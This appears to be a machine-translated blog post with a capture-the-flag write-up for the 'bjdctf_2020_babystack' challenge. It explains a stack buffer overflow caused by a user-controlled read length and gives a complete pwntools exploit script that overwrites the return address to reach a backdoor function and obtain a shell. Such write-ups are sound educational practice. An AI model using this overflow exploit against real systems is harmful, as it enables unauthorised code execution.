当前位置:网站首页>bjdctf_ 2020_ babystack
bjdctf_ 2020_ babystack
2022-06-24 07:23:00 【[mzq]】
bjdctf_2020_babystack

checksec once 64 Bit program Didn't open anything ,ida Look at the program 
main function
What do you think read Function reads in 0 A string , Read a lonely ,scanf Also can not overflow , There seems to be no problem 
however scanf Will read in a number entered by the user and assign it to nbytes , then read Will read nbytes Size characters , That is, we can overflow any length 
backdoor function
Run this function to get shell
exp
ret To balance the stack Actually backdoor Function recurs +1 It's OK
from pwn import *
io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])
io.sendlineafter("What's u name?",payload)
io.interactive()

边栏推荐
- 0 foundation a literature club low code development member management applet (II)
- 伦敦金的资金管理比其他都重要
- 【云驻共创】华为云HCIA-IoT V2.5培训系列内容之物联网概览
- A case study of apiserver avalanche caused by serviceaccount
- (CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】
- 【图像分割】基于形态学实现视网膜血管分割附matlab代码
- bjdctf_2020_babystack
- [MRCTF2020]千层套路
- OMX的初始化流程
- Accelerate large-scale data analysis based on Apache iceberg through data organization optimization
猜你喜欢

JVM调试工具-jmap

二分专题训练

MySQL - three tables (student, course, score) to query the name, number and score of students whose course is mathematics

【均衡器】LS均衡器,DEF均衡器以及LMMSE均衡器的误码率性能对比仿真

(CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】

Intranet learning notes (4)

【图像融合】基于像素显着性结合小波变换实现多焦点和多光谱图像融合附matlab代码

前缀和专题训练

伦敦金的资金管理比其他都重要

在终端pip install xxx但在pycharm却no module named xxx
随机推荐
【pointNet】基于pointNet的三维点云目标分类识别matlab仿真
[DDCTF2018](╯°□°)╯︵ ┻━┻
The fund management of London gold is more important than others
两个链表的第一个公共节点_链表中环的入口(剑指offer)
【Proteus】Arduino UNO + DS1307+LCD1602时间显示
buuctf misc 从娃娃抓起
【图像融合】基于方向离散余弦变换和主成分分析的图像融合附matlab代码
利用微搭低代码实现级联选择
Stop looking! The most complete data analysis strategy of the whole network is here
PIP install XXX on the terminal but no module named XXX on pycharm
什么是CC攻击?如何判断网站是否被CC攻击? CC攻击怎么防御?
[image segmentation] retinal vessel segmentation based on morphology with matlab code
Kaseya of the United States was attacked by hackers, and 1500 downstream enterprises were damaged. How can small and medium-sized enterprises prevent extortion virus?
取模软件 模拟显示验证取模数据正确性 逆向 把点阵数组bin文件转显示
[cloud based co creation] overview of the IOT of Huawei cloud HCIA IOT v2.5 training series
[WordPress website] 5 Set code highlight
【TS】函数类型
华为云数据库进阶学习
Huawei cloud database advanced learning
The third session of freshman engineering education seminar is under registration